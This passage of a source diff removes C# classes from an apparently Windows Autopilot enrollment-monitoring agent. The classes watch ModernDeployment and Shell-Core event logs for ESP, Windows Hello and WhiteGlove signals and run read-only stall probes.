|
||||
}
|
||||
|
||||
lock (_stateLock)
|
||||
{
|
||||
if (_whiteGloveStartDetected) return;
|
||||
_whiteGloveStartDetected = true;
|
||||
}
|
||||
|
||||
_logger.Info($"WhiteGlove start detected via ManagementService Event 509 (backfill={isBackfill}): {description}");
|
||||
|
||||
PersistWhiteGloveBackfillState(timeCreatedUtc);
|
||||
|
||||
var truncated = description.Length > 500 ? description.Substring(0, 500) + "…" : description;
|
||||
|
||||
_onEventCollected(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "whiteglove_started",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "ModernDeploymentWatcher",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"First WhiteGlove (Pre-Provisioning) hint — ManagementService EventID {eventId} (soft signal, not yet confirmed)",
|
||||
Data = new Dictionary<string, object>
|
||||
{
|
||||
{ "channel", "ManagementService" },
|
||||
{ "channelFullName", ManagementChannel },
|
||||
{ "eventId", eventId },
|
||||
{ "level", level ?? 4 },
|
||||
{ "description", truncated },
|
||||
{ "timeCreated", timeCreatedUtc?.ToString("o") ?? string.Empty },
|
||||
{ "backfilled", isBackfill }
|
||||
},
|
||||
ImmediateUpload = true
|
||||
});
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Backfill
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private void BackfillTargetedEvents()
|
||||
{
|
||||
if (TargetedManagementServiceEventIds.Count == 0) return;
|
||||
|
||||
var persistedState = LoadWhiteGloveBackfillState();
|
||||
if (persistedState != null && persistedState.WhiteGloveStartSeen)
|
||||
{
|
||||
_logger.Info($"WhiteGlove start already persisted from prior run (seen at {persistedState.SeenUtc:O}) — skipping backfill");
|
||||
lock (_stateLock) { _whiteGloveStartDetected = true; }
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
var lookbackMs = _backfillLookbackMinutes * 60 * 1000;
|
||||
var idClauses = string.Join(" or ",
|
||||
TargetedManagementServiceEventIds.Select(id => $"EventID={id}"));
|
||||
var xpath = $"*[System[({idClauses}) and TimeCreated[timediff(@SystemTime) <= {lookbackMs}]]]";
|
||||
|
||||
_logger.Info($"ModernDeployment backfill: scanning {ManagementChannel} " +
|
||||
$"(lookback={_backfillLookbackMinutes}min, targetedIds={TargetedManagementServiceEventIds.Count})");
|
||||
|
||||
var query = new EventLogQuery(ManagementChannel, PathType.LogName, xpath)
|
||||
{
|
||||
ReverseDirection = true
|
||||
};
|
||||
|
||||
int found = 0;
|
||||
using (var reader = new EventLogReader(query))
|
||||
{
|
||||
EventRecord record;
|
||||
while ((record = reader.ReadEvent()) != null)
|
||||
{
|
||||
using (record)
|
||||
{
|
||||
found++;
|
||||
_logger.Info($"Backfill found ManagementService Event {record.Id} at {record.TimeCreated:O}");
|
||||
ProcessRecord(record, "ManagementService", ManagementChannel, isBackfill: true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (found == 0)
|
||||
_logger.Debug($"ModernDeployment backfill: no targeted events found in last {_backfillLookbackMinutes} minutes");
|
||||
else
|
||||
_logger.Info($"ModernDeployment backfill: processed {found} event(s)");
|
||||
}
|
||||
catch (EventLogNotFoundException)
|
||||
{
|
||||
_logger.Warning($"ModernDeployment event log not found during backfill: {ManagementChannel} (normal on non-Windows 10/11 test environments)");
|
||||
}
|
||||
catch (UnauthorizedAccessException ex)
|
||||
{
|
||||
_logger.Warning($"ModernDeployment backfill access denied: {ex.Message}");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"ModernDeployment backfill failed: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Backfill state persistence
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
internal void PersistWhiteGloveBackfillState(DateTime? eventTimeUtc)
|
||||
{
|
||||
if (string.IsNullOrEmpty(_stateDirectory)) return;
|
||||
|
||||
try
|
||||
{
|
||||
Directory.CreateDirectory(_stateDirectory);
|
||||
var filePath = Path.Combine(_stateDirectory, WhiteGloveBackfillStateFileName);
|
||||
var state = new WhiteGloveBackfillState
|
||||
{
|
||||
WhiteGloveStartSeen = true,
|
||||
SeenUtc = eventTimeUtc ?? DateTime.UtcNow,
|
||||
PersistedUtc = DateTime.UtcNow
|
||||
};
|
||||
var json = JsonConvert.SerializeObject(state, Formatting.Indented);
|
||||
var tempPath = filePath + ".tmp";
|
||||
File.WriteAllText(tempPath, json);
|
||||
File.Copy(tempPath, filePath, overwrite: true);
|
||||
try { File.Delete(tempPath); } catch { }
|
||||
_logger.Info($"WhiteGlove backfill state persisted to {filePath}");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"Failed to persist WhiteGlove backfill state: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
internal WhiteGloveBackfillState LoadWhiteGloveBackfillState()
|
||||
{
|
||||
if (string.IsNullOrEmpty(_stateDirectory)) return null;
|
||||
|
||||
var filePath = Path.Combine(_stateDirectory, WhiteGloveBackfillStateFileName);
|
||||
if (!File.Exists(filePath)) return null;
|
||||
|
||||
try
|
||||
{
|
||||
var json = File.ReadAllText(filePath);
|
||||
return JsonConvert.DeserializeObject<WhiteGloveBackfillState>(json);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"Failed to load WhiteGlove backfill state: {ex.Message}");
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Test-only: force the in-memory WhiteGlove-seen guard (simulates successful backfill-dedup).
|
||||
/// </summary>
|
||||
internal void MarkWhiteGloveStartDetectedForTest()
|
||||
{
|
||||
lock (_stateLock) { _whiteGloveStartDetected = true; }
|
||||
}
|
||||
|
||||
internal class WhiteGloveBackfillState
|
||||
{
|
||||
public bool WhiteGloveStartSeen { get; set; }
|
||||
public DateTime SeenUtc { get; set; }
|
||||
public DateTime PersistedUtc { get; set; }
|
||||
}
|
||||
}
|
||||
}
|
||||
-1088
File diff suppressed because it is too large
Load Diff
-382
@@ -1,382 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics.Eventing.Reader;
|
||||
using System.Text.RegularExpressions;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals
|
||||
{
|
||||
/// <summary>
|
||||
/// Watches Microsoft-Windows-Shell-Core/Operational for ESP-related events:
|
||||
/// 62404 — CloudExperienceHost Web App Activity Started (CXID: 'AADHello' / 'NGC' = Hello wizard)
|
||||
/// 62407 — CloudExperienceHost Web App Event 2:
|
||||
/// CommercialOOBE_ESPProgress_Page_Exiting — normal ESP exit
|
||||
/// CommercialOOBE_ESPProgress_WhiteGlove_Success — WhiteGlove complete
|
||||
/// CommercialOOBE_ESPProgress_Failure/_Timeout/_Abort/WhiteGlove_Failed — ESP failure
|
||||
///
|
||||
/// Raises <see cref="FinalizingSetupPhaseTriggered"/>, <see cref="WhiteGloveCompleted"/>,
|
||||
/// and <see cref="EspFailureDetected"/>. Cross-notifies the <see cref="HelloTracker"/>
|
||||
/// on Hello wizard start and ESP exit so Hello timers can react.
|
||||
/// </summary>
|
||||
internal sealed class ShellCoreTracker : IDisposable
|
||||
{
|
||||
internal const string ShellCoreEventLogChannel = "Microsoft-Windows-Shell-Core/Operational";
|
||||
internal const int EventId_ShellCore_WebAppStarted = 62404;
|
||||
internal const int EventId_ShellCore_WebAppEvent = 62407;
|
||||
internal const int BackfillLookbackMinutes = 5;
|
||||
|
||||
private static readonly HashSet<int> TrackedShellCoreEventIds = new HashSet<int>
|
||||
{
|
||||
EventId_ShellCore_WebAppStarted,
|
||||
EventId_ShellCore_WebAppEvent
|
||||
};
|
||||
|
||||
private static readonly Regex EspExitingPattern = new Regex(
|
||||
@"OOBE_ESP.*Exiting", RegexOptions.IgnoreCase | RegexOptions.Compiled);
|
||||
|
||||
private readonly AgentLogger _logger;
|
||||
private readonly string _sessionId;
|
||||
private readonly string _tenantId;
|
||||
private readonly Action<EnrollmentEvent> _onEventCollected;
|
||||
private readonly HelloTracker _helloTracker;
|
||||
|
||||
private EventLogWatcher _watcher;
|
||||
private bool _espExitDetected;
|
||||
private bool _whiteGloveDetected;
|
||||
private readonly object _stateLock = new object();
|
||||
|
||||
public event EventHandler<string> FinalizingSetupPhaseTriggered;
|
||||
public event EventHandler WhiteGloveCompleted;
|
||||
public event EventHandler<string> EspFailureDetected;
|
||||
|
||||
public ShellCoreTracker(
|
||||
string sessionId,
|
||||
string tenantId,
|
||||
Action<EnrollmentEvent> onEventCollected,
|
||||
AgentLogger logger,
|
||||
HelloTracker helloTracker)
|
||||
{
|
||||
_sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId));
|
||||
_tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId));
|
||||
_onEventCollected = onEventCollected ?? throw new ArgumentNullException(nameof(onEventCollected));
|
||||
_logger = logger ?? throw new ArgumentNullException(nameof(logger));
|
||||
_helloTracker = helloTracker; // nullable — HelloTracker may be unavailable in some test setups
|
||||
}
|
||||
|
||||
internal bool IsEspExitedForTest { get { lock (_stateLock) { return _espExitDetected; } } }
|
||||
internal bool IsWhiteGloveDetectedForTest { get { lock (_stateLock) { return _whiteGloveDetected; } } }
|
||||
|
||||
public void Start()
|
||||
{
|
||||
try
|
||||
{
|
||||
var query = new EventLogQuery(
|
||||
ShellCoreEventLogChannel,
|
||||
PathType.LogName,
|
||||
"*[System[(EventID=62404 or EventID=62407)]]");
|
||||
|
||||
_watcher = new EventLogWatcher(query);
|
||||
_watcher.EventRecordWritten += OnEventRecordWritten;
|
||||
_watcher.Enabled = true;
|
||||
|
||||
_logger.Info($"Started watching: {ShellCoreEventLogChannel}");
|
||||
}
|
||||
catch (EventLogNotFoundException)
|
||||
{
|
||||
_logger.Warning($"Event log not found: {ShellCoreEventLogChannel} (normal if not on a real device)");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error("Failed to start Shell-Core event log watcher", ex);
|
||||
}
|
||||
}
|
||||
|
||||
public void Stop()
|
||||
{
|
||||
if (_watcher == null) return;
|
||||
try
|
||||
{
|
||||
_watcher.Enabled = false;
|
||||
_watcher.EventRecordWritten -= OnEventRecordWritten;
|
||||
_watcher.Dispose();
|
||||
}
|
||||
catch (Exception ex) { _logger.Error("Error stopping Shell-Core event watcher", ex); }
|
||||
finally { _watcher = null; }
|
||||
}
|
||||
|
||||
public void Dispose() => Stop();
|
||||
|
||||
// =====================================================================
|
||||
// Live event handler
|
||||
// =====================================================================
|
||||
|
||||
private void OnEventRecordWritten(object sender, EventRecordWrittenEventArgs e)
|
||||
{
|
||||
if (e.EventRecord == null) return;
|
||||
|
||||
try
|
||||
{
|
||||
var record = e.EventRecord;
|
||||
if (!TrackedShellCoreEventIds.Contains(record.Id)) return;
|
||||
|
||||
var description = record.FormatDescription() ?? $"Event ID {record.Id}";
|
||||
var timestamp = (record.TimeCreated ?? DateTime.UtcNow).ToUniversalTime();
|
||||
|
||||
ProcessEvent(record.Id, description, timestamp, record.ProviderName ?? "", isBackfill: false);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error("Error processing Shell-Core event record", ex);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Core event-processing logic. Exposed as internal so tests can drive it without
|
||||
/// needing to synthesize an <see cref="EventRecord"/> (abstract + Windows-only).
|
||||
/// </summary>
|
||||
internal void ProcessEvent(int eventId, string description, DateTime timestamp, string providerName, bool isBackfill)
|
||||
{
|
||||
string eventType;
|
||||
EventSeverity severity = EventSeverity.Info;
|
||||
string message;
|
||||
bool triggerFinalizingSetup = false;
|
||||
string finalizingSetupReason = null;
|
||||
string detectedFailureType = null;
|
||||
|
||||
switch (eventId)
|
||||
{
|
||||
case EventId_ShellCore_WebAppStarted: // 62404
|
||||
if (description.Contains("AADHello") || description.Contains("'NGC'"))
|
||||
{
|
||||
eventType = "hello_wizard_started";
|
||||
message = "Windows Hello wizard started (CloudExperienceHost)";
|
||||
triggerFinalizingSetup = true;
|
||||
finalizingSetupReason = "hello_wizard_started";
|
||||
|
||||
_helloTracker?.NotifyHelloWizardStarted();
|
||||
|
||||
_logger.Info("Windows Hello wizard started - detected via Shell-Core event 62404");
|
||||
}
|
||||
else
|
||||
{
|
||||
return;
|
||||
}
|
||||
break;
|
||||
|
||||
case EventId_ShellCore_WebAppEvent: // 62407
|
||||
if (description.IndexOf("WhiteGlove_Success", StringComparison.OrdinalIgnoreCase) >= 0)
|
||||
{
|
||||
// Fire-once guard
|
||||
lock (_stateLock)
|
||||
{
|
||||
if (_whiteGloveDetected) return;
|
||||
_whiteGloveDetected = true;
|
||||
}
|
||||
|
||||
eventType = "whiteglove_complete";
|
||||
message = "WhiteGlove (Pre-Provisioning) completed successfully";
|
||||
// No FinalizingSetup transition — WhiteGlove terminates pre-provisioning entirely
|
||||
|
||||
_logger.Info("WhiteGlove (Pre-Provisioning) success detected via Shell-Core event 62407");
|
||||
}
|
||||
else if (HasEspFailurePattern(description))
|
||||
{
|
||||
detectedFailureType = ExtractEspFailureType(description);
|
||||
eventType = "esp_failure";
|
||||
severity = EventSeverity.Error;
|
||||
message = $"ESP (Enrollment Status Page) reported a failure: {detectedFailureType}";
|
||||
_logger.Warning($"ESP failure detected via Shell-Core event 62407: {detectedFailureType}");
|
||||
}
|
||||
else if (EspExitingPattern.IsMatch(description))
|
||||
{
|
||||
eventType = "esp_exiting";
|
||||
message = "ESP (Enrollment Status Page) phase exiting";
|
||||
triggerFinalizingSetup = true;
|
||||
finalizingSetupReason = "esp_exiting";
|
||||
|
||||
lock (_stateLock)
|
||||
{
|
||||
_espExitDetected = true;
|
||||
// Note: We do NOT start the Hello wait timer here!
|
||||
// Event 62407 occurs at every ESP phase transition (Device->Account, Account->End)
|
||||
// EnrollmentTracker will decide based on lastEspPhase whether to start the timer
|
||||
}
|
||||
_helloTracker?.NotifyEspExited();
|
||||
|
||||
_logger.Info("ESP phase exit detected - detected via Shell-Core event 62407");
|
||||
}
|
||||
else
|
||||
{
|
||||
return;
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
var eventData = new Dictionary<string, object>
|
||||
{
|
||||
{ "windowsEventId", eventId },
|
||||
{ "providerName", providerName ?? "" },
|
||||
{ "description", description },
|
||||
{ "eventLogChannel", ShellCoreEventLogChannel },
|
||||
{ "eventTime", timestamp.ToString("o") }
|
||||
};
|
||||
|
||||
if (eventType == "esp_failure" && detectedFailureType != null)
|
||||
{
|
||||
eventData["failureType"] = detectedFailureType;
|
||||
}
|
||||
|
||||
_onEventCollected(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
Timestamp = timestamp,
|
||||
EventType = eventType,
|
||||
Severity = severity,
|
||||
Source = "EspAndHelloTracker",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = message,
|
||||
Data = eventData,
|
||||
ImmediateUpload = true
|
||||
});
|
||||
|
||||
_logger.Info($"Shell-Core event detected: {eventType} (EventID {eventId})");
|
||||
|
||||
if (triggerFinalizingSetup)
|
||||
{
|
||||
try { FinalizingSetupPhaseTriggered?.Invoke(this, finalizingSetupReason); }
|
||||
catch (Exception ex) { _logger.Error("FinalizingSetupPhaseTriggered handler failed", ex); }
|
||||
}
|
||||
|
||||
// Fire WhiteGloveCompleted AFTER event emission so the whiteglove_complete event
|
||||
// is in the spool before the agent exits.
|
||||
if (eventType == "whiteglove_complete")
|
||||
{
|
||||
try { WhiteGloveCompleted?.Invoke(this, EventArgs.Empty); }
|
||||
catch (Exception ex) { _logger.Error("WhiteGloveCompleted handler failed", ex); }
|
||||
}
|
||||
|
||||
// Fire EspFailureDetected AFTER event emission so the esp_failure event is in the
|
||||
// spool before the agent potentially shuts down.
|
||||
if (eventType == "esp_failure" && detectedFailureType != null)
|
||||
{
|
||||
try { EspFailureDetected?.Invoke(this, detectedFailureType); }
|
||||
catch (Exception ex) { _logger.Error($"EspFailureDetected handler failed for '{detectedFailureType}'", ex); }
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Backfill (public — called by coordinator)
|
||||
// =====================================================================
|
||||
|
||||
/// <summary>
|
||||
/// Backfills recent ESP exit and failure events from Shell-Core log on startup.
|
||||
/// Secondary recovery mechanism when state persistence is unavailable.
|
||||
/// </summary>
|
||||
public void BackfillRecentEspExitEvents()
|
||||
{
|
||||
try
|
||||
{
|
||||
var lookbackMs = BackfillLookbackMinutes * 60 * 1000;
|
||||
var query = new EventLogQuery(
|
||||
ShellCoreEventLogChannel,
|
||||
PathType.LogName,
|
||||
$"*[System[(EventID=62407) and TimeCreated[timediff(@SystemTime) <= {lookbackMs}]]]");
|
||||
|
||||
using (var reader = new EventLogReader(query))
|
||||
{
|
||||
for (EventRecord record = reader.ReadEvent(); record != null; record = reader.ReadEvent())
|
||||
{
|
||||
using (record)
|
||||
{
|
||||
var description = record.FormatDescription() ?? "";
|
||||
HandleBackfillRecord(description);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"ESP exit/failure event backfill failed: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Internal backfill record handler — extracted for testability and to keep the
|
||||
/// backfill loop free of direct event-processing logic.
|
||||
/// </summary>
|
||||
internal void HandleBackfillRecord(string description)
|
||||
{
|
||||
if (EspExitingPattern.IsMatch(description))
|
||||
{
|
||||
bool shouldNotify = false;
|
||||
lock (_stateLock)
|
||||
{
|
||||
if (!_espExitDetected)
|
||||
{
|
||||
_espExitDetected = true;
|
||||
shouldNotify = true;
|
||||
}
|
||||
}
|
||||
if (shouldNotify)
|
||||
{
|
||||
_helloTracker?.NotifyEspExited();
|
||||
_logger.Info("Backfill: ESP exit event found in recent Shell-Core logs");
|
||||
try { FinalizingSetupPhaseTriggered?.Invoke(this, "esp_exiting"); }
|
||||
catch (Exception ex) { _logger.Error("Backfill: FinalizingSetupPhaseTriggered handler failed", ex); }
|
||||
}
|
||||
}
|
||||
|
||||
if (HasEspFailurePattern(description))
|
||||
{
|
||||
var failureType = ExtractEspFailureType(description);
|
||||
_logger.Info($"Backfill: ESP failure event found in recent Shell-Core logs: {failureType}");
|
||||
try { EspFailureDetected?.Invoke(this, failureType); }
|
||||
catch (Exception ex) { _logger.Error($"Backfill: EspFailureDetected handler failed for '{failureType}'", ex); }
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Pattern helpers
|
||||
// =====================================================================
|
||||
|
||||
internal static bool HasEspFailurePattern(string description)
|
||||
{
|
||||
return description.IndexOf("ESPProgress_Failure", StringComparison.OrdinalIgnoreCase) >= 0
|
||||
|| description.IndexOf("ESPProgress_Failed", StringComparison.OrdinalIgnoreCase) >= 0
|
||||
|| description.IndexOf("ESPProgress_Timeout", StringComparison.OrdinalIgnoreCase) >= 0
|
||||
|| description.IndexOf("ESPProgress_Abort", StringComparison.OrdinalIgnoreCase) >= 0
|
||||
|| description.IndexOf("WhiteGlove_Failed", StringComparison.OrdinalIgnoreCase) >= 0
|
||||
|| description.IndexOf("WhiteGlove_Failure", StringComparison.OrdinalIgnoreCase) >= 0;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Extracts a structured failure type from the Shell-Core event description.
|
||||
/// Returns e.g. "ESPProgress_Failure", "ESPProgress_Timeout", "WhiteGlove_Failed",
|
||||
/// or "Unknown_ESP_Failure" as a fallback.
|
||||
/// </summary>
|
||||
internal static string ExtractEspFailureType(string description)
|
||||
{
|
||||
string[] knownTypes = {
|
||||
"ESPProgress_Failure",
|
||||
"ESPProgress_Failed",
|
||||
"ESPProgress_Timeout",
|
||||
"ESPProgress_Abort",
|
||||
"WhiteGlove_Failed",
|
||||
"WhiteGlove_Failure"
|
||||
};
|
||||
|
||||
foreach (var type in knownTypes)
|
||||
{
|
||||
if (description.IndexOf(type, StringComparison.OrdinalIgnoreCase) >= 0)
|
||||
return type;
|
||||
}
|
||||
|
||||
return "Unknown_ESP_Failure";
|
||||
}
|
||||
}
|
||||
}
|
||||
-551
@@ -1,551 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics.Eventing.Reader;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Shared;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals
|
||||
{
|
||||
/// <summary>
|
||||
/// Ebene 2 — Defensive deep probes that run only when enrollment has been silent for a while.
|
||||
///
|
||||
/// The collector is NOT a timer of its own. Instead, it is invoked from
|
||||
/// <see cref="Core.MonitoringService.IdleCheckCallback"/> (which runs every 60 s for the
|
||||
/// entire agent lifetime). On each tick the collector inspects the idle duration and fires
|
||||
/// a full scan at the configured thresholds (default: 2, 15, 30, 60, 180 min).
|
||||
///
|
||||
/// Each probe scans up to four read-only sources (all wrapped in try/catch + hard timeout):
|
||||
/// 1. Provisioning registry (HKLM\SOFTWARE\Microsoft\Provisioning\AutopilotSettings)
|
||||
/// 2. Diagnostics registry (HKLM\SOFTWARE\Microsoft\Provisioning\Diagnostics\Autopilot)
|
||||
/// 3. Windows event logs (ModernDeployment + Shell-Core + Application)
|
||||
/// 4. AppWorkload.log tail (IME ESP app install state)
|
||||
///
|
||||
/// The probe classifies the outcome as:
|
||||
/// - anomaly → <c>stall_probe_result</c> (Warning) + optional <c>EspFailureDetected</c>
|
||||
/// - activeInstalls → positive signal (healthy-in-progress), no alarm
|
||||
/// - quiet → nothing found in any source
|
||||
///
|
||||
/// Output policy (configurable via StallProbeTraceIndices, default = [2]):
|
||||
/// - Trace-indexed probes: emit a <c>stall_probe_check</c> Trace event on quiet/activeInstalls.
|
||||
/// - Non-trace probes: emit nothing when no anomaly is found (agent log only).
|
||||
/// - Anomaly found: always emit <c>stall_probe_result</c> Warning (plus EspFailureDetected if terminal).
|
||||
/// - Probe index configured as "session-stalled": emit fire-once <c>session_stalled</c> Warning.
|
||||
/// </summary>
|
||||
public class StallProbeCollector
|
||||
{
|
||||
private readonly string _sessionId;
|
||||
private readonly string _tenantId;
|
||||
private readonly Action<EnrollmentEvent> _onEventCollected;
|
||||
private readonly AgentLogger _logger;
|
||||
private readonly int[] _thresholdsMinutes;
|
||||
private readonly HashSet<int> _traceIndices;
|
||||
private readonly HashSet<string> _sources;
|
||||
private readonly int _sessionStalledAfterProbeIndex;
|
||||
private readonly HashSet<int> _harmlessModernDeploymentEventIds;
|
||||
|
||||
private readonly object _stateLock = new object();
|
||||
private readonly HashSet<int> _firedProbeIndices = new HashSet<int>();
|
||||
private bool _sessionStalledFired;
|
||||
|
||||
public event EventHandler<string> EspFailureDetected;
|
||||
|
||||
// Per-source hard timeouts (ms)
|
||||
private const int RegistryScanTimeoutMs = 500;
|
||||
private const int DiagnosticsRegistryScanTimeoutMs = 500;
|
||||
private const int EventLogScanTimeoutMs = 2000;
|
||||
private const int AppWorkloadTailTimeoutMs = 1000;
|
||||
|
||||
// Terminal ESP failure EventIDs in ModernDeployment-Diagnostics-Provider channels.
|
||||
// Conservative list — we prefer to NOT auto-terminate on unknown IDs and let the user decide.
|
||||
//
|
||||
// TODO(stall-probe-classification): This is stellschraube #1 for promoting stall-probe findings
|
||||
// to terminal failures. Currently empty by design: the ModernDeployment watcher (Ebene 1) runs
|
||||
// in live-capture mode and forwards raw events so we can gather real production EventIDs first.
|
||||
// Once we have 1–2 weeks of production data showing which EventIDs reliably correspond to
|
||||
// terminal ESP failures (e.g. "app install failed terminally", "ESP category Error"), add them
|
||||
// here. From that point on, Probe 1 (2 min) will detect them and fire EspFailureDetected →
|
||||
// the session goes terminal-Failed within ~2 min instead of waiting for the 5h backend sweep.
|
||||
// Cross-reference: the matching terminalReason should go into result.TerminalReason when you
|
||||
// add entries (see ScanEventLogs around the TerminalModernDeploymentEventIds.Contains check).
|
||||
private static readonly HashSet<int> TerminalModernDeploymentEventIds = new HashSet<int>
|
||||
{
|
||||
// Populated as real failure EventIDs are observed in production.
|
||||
// Kept empty intentionally — live-capture mode (Etappe 3) collects the raw events first.
|
||||
};
|
||||
|
||||
// Fallback list of ModernDeployment EventIDs that are known to be harmless and should NOT
|
||||
// count as anomalies in the stall probe scan. The runtime-configurable list from the backend
|
||||
// is injected via the constructor (CollectorConfiguration.ModernDeploymentHarmlessEventIds);
|
||||
// this fallback is used only when no list is provided.
|
||||
private static readonly int[] DefaultHarmlessModernDeploymentEventIds = new[] { 100, 1005, 1010 };
|
||||
|
||||
// AppWorkload.log active-install markers (positive signals)
|
||||
private static readonly Regex ActiveInstallRegex = new Regex(
|
||||
@"EnforcementState\s*[:=]\s*(Downloading|Installing|InProgress)",
|
||||
RegexOptions.Compiled | RegexOptions.IgnoreCase);
|
||||
|
||||
// AppWorkload.log failure markers (negative signals — but scanner only reports, no terminal decision).
|
||||
//
|
||||
// TODO(stall-probe-classification): This is stellschraube #2 for promoting stall-probe findings
|
||||
// to terminal failures. Today any match of this regex produces a Warning-severity
|
||||
// stall_probe_result event but does NOT set result.IsTerminal or fire EspFailureDetected —
|
||||
// on purpose, because IME writes transient "Failed" lines that recover (retry, re-detect) and
|
||||
// we do not want false-terminal verdicts during the live-capture phase. Once we can
|
||||
// distinguish "retryable IME hiccup" from "terminal app install failure" based on real
|
||||
// production data, tighten the regex (e.g. require a specific error code range or a second
|
||||
// confirming line) and set result.IsTerminal = true + result.TerminalReason in ScanAppWorkloadTail.
|
||||
// Ideas for stronger terminal signals to add here once validated:
|
||||
// - EnforcementState: Failed + specific HRESULT ranges (0x87D1... Win32 app failures)
|
||||
// - DetectionState: Error that persists across multiple tail samples
|
||||
// - Explicit "Required app failed" lines from the ESP required-app enforcer
|
||||
//
|
||||
// TODO(stall-probe-imelog-scan): Also scan IntuneManagementExtension.log (not just
|
||||
// AppWorkload.log). Learning from the Oriflame session b4b5d37e-a993-453e-b16b-9b75098022e4
|
||||
// (MS Intune AAD token service outage 2026-04-08): the ESP blocker was
|
||||
// "Failed to get AAD token. errorCode = 3399548929" (= 0xCAA90001 AADSTS_SERVER_ERROR)
|
||||
// and this string lives in IntuneManagementExtension.log, NOT AppWorkload.log. Add a third
|
||||
// tail-scan source for `C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\IntuneManagementExtension.log`
|
||||
// with a regex that catches repeated "Failed to get AAD token.*errorCode" lines (decimal or
|
||||
// hex) as a strong "IME is blocked by service issue" signal. Watch out: IME retries every
|
||||
// ~1h, so requiring at least 2 occurrences within the 15-min probe window dedup's single
|
||||
// transient blips. The errorCode is DECIMAL in IME logs (3399548929), NOT hex, so the regex
|
||||
// must handle both formats. A non-terminal Warning is probably the right severity — a
|
||||
// service outage is recoverable and Windows ESP will eventually time out on its own if the
|
||||
// outage persists, and at that point the ModernDeployment watcher (Ebene 1) should pick it up.
|
||||
private static readonly Regex FailureRegex = new Regex(
|
||||
@"EnforcementState\s*[:=]\s*Failed|Error\s+0x[0-9A-Fa-f]+|DetectionState\s*[:=]\s*Error",
|
||||
RegexOptions.Compiled);
|
||||
|
||||
public StallProbeCollector(
|
||||
string sessionId,
|
||||
string tenantId,
|
||||
Action<EnrollmentEvent> onEventCollected,
|
||||
AgentLogger logger,
|
||||
int[] thresholdsMinutes,
|
||||
int[] traceIndices,
|
||||
string[] sources,
|
||||
int sessionStalledAfterProbeIndex,
|
||||
int[] harmlessModernDeploymentEventIds = null)
|
||||
{
|
||||
_sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId));
|
||||
_tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId));
|
||||
_onEventCollected = onEventCollected ?? throw new ArgumentNullException(nameof(onEventCollected));
|
||||
_logger = logger ?? throw new ArgumentNullException(nameof(logger));
|
||||
_thresholdsMinutes = thresholdsMinutes ?? throw new ArgumentNullException(nameof(thresholdsMinutes));
|
||||
_traceIndices = new HashSet<int>(traceIndices ?? new int[0]);
|
||||
_sources = new HashSet<string>(sources ?? new string[0], StringComparer.OrdinalIgnoreCase);
|
||||
_sessionStalledAfterProbeIndex = sessionStalledAfterProbeIndex;
|
||||
_harmlessModernDeploymentEventIds = new HashSet<int>(
|
||||
harmlessModernDeploymentEventIds != null && harmlessModernDeploymentEventIds.Length > 0
|
||||
? harmlessModernDeploymentEventIds
|
||||
: DefaultHarmlessModernDeploymentEventIds);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Resets all per-probe fire-once state. Called when a new real (non-periodic) event arrives.
|
||||
/// session_stalled stays fire-once across the whole session — we don't re-warn if the
|
||||
/// session stalls a second time; the backend maintenance sweep handles late stalls.
|
||||
/// </summary>
|
||||
public void ResetProbes()
|
||||
{
|
||||
lock (_stateLock)
|
||||
{
|
||||
if (_firedProbeIndices.Count > 0)
|
||||
{
|
||||
_logger.Trace($"StallProbeCollector: resetting {_firedProbeIndices.Count} fired probes");
|
||||
_firedProbeIndices.Clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Called from the 60-s idle check tick. Decides whether any probe threshold has been
|
||||
